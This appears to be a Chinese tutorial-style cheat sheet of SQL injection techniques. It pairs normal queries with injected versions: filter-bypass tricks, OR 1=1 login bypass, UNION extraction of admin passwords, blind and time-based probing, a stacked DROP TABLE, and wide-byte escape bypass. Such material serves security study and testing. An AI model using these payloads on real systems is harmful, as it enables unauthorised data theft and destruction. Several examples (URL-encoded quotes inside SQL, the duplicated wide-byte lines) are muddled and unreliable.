1. 大小写变换
通过改变 AND
关键字的大小写,可能绕过简单的字符串匹配过滤器。
原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username='admin' aND password='password';
2. 注释
使用注释符号 --
将后面的内容注释掉,忽略密码验证。
原始语句:
复制代码
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
复制代码
SELECT * FROM users WHERE username='admin' -- ' AND password='password';
3. 空格替代
使用加号 +
替代空格,绕过过滤器。加号在某些环境中会被解释为空格。
原始语句:
复制代码
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
复制代码
SELECT * FROM users WHERE username='admin'+AND+password='password';
4. 字符串拼接
通过字符串拼接,将字符串拆分,绕过过滤器。
原始语句:
复制代码
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
复制代码
SELECT * FROM users WHERE username='admin' AND password='pass' || 'word';
5. 内联查询
利用子查询,将字符串值作为子查询的结果,绕过简单的字符串匹配。
原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username=(SELECT 'admin') AND password='password';
6. 逻辑运算符
使用永真条件 OR 1=1
,无论前面的条件是否满足,整个条件总是为真。
原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username='admin' OR 1=1;
7. UNION注入
使用 UNION
合并两个查询结果,获取其他表的数据。
原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1 UNION SELECT username, password FROM admin;
8. 时间延迟
利用时间延迟函数 SLEEP()
检测盲注,通过观察响应时间推测注入是否成功。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0);
9. 布尔盲注
通过布尔条件判断返回结果是否符合预期,逐步猜测数据。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND LENGTH(password)=8;
10. 编码绕过
使用URL编码绕过简单的过滤器, %27
代表单引号 '
。
原始语句:
SELECT * FROM users WHERE username='admin' AND password='password';
注入语句:
SELECT * FROM users WHERE username=%27admin%27 AND password=%27password%27;
11. 组合使用
通过组合使用 UNION
和注释符号 /**/
替代空格,绕过过滤器。
原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1 UNION/**/SELECT/**/1,2--;
12. 注入点检测
通过输入不同的测试值,观察返回结果,检测注入点。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND 'a'='a';
13. 数据库特定功能
利用数据库的特定功能,获取数据库元数据。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND EXISTS(SELECT * FROM information_schema.tables);
14. 堆叠查询
通过堆叠查询执行多条SQL语句,进行破坏性操作。
原始语句:
SELECT * FROM users WHERE id=1;
注入语句:
SELECT * FROM users WHERE id=1; DROP TABLE users;--
15. 环境特性
利用 CHAR()
函数,将字符转换为ASCII码形式,绕过过滤器。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110);
16. 正则表达式
利用正则表达式匹配多个值,绕过简单的验证。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username REGEXP 'admin|root';
17. 条件错误注入
利用错误消息推测数据库结构或数据类型。
原始语句:
SELECT * FROM users WHERE username='admin';
注入语句:
SELECT * FROM users WHERE username='admin' AND 1=CONVERT(int, 'test');
18.宽字节绕过
宽字节绕过(Double Byte Character Set Injection, DBCS Injection)是一种特殊的SQL注入技术,利用数据库在处理多字节字符集(如UTF-16、Shift-JIS、Big5等)时的特性,绕过输入过滤或逃避字符转义。这种技术特别在处理亚洲字符集的应用程序中常见。
绕过过滤和转义
在一些应用程序中,单引号 ' 会被转义为 \'。但是,如果应用程序在处理宽字节字符时出错,可能会误将前一个字节与后续字符合并,从而绕过转义。例如:
username = 'admin\x81' OR '1'='1
SELECT * FROM users WHERE username = 'admin\'
SELECT * FROM users WHERE username = 'admin\x81' OR '1'='1';
SELECT * FROM users WHERE username = 'admin\'
SELECT * FROM users WHERE username = 'admin\x00' OR '1'='1';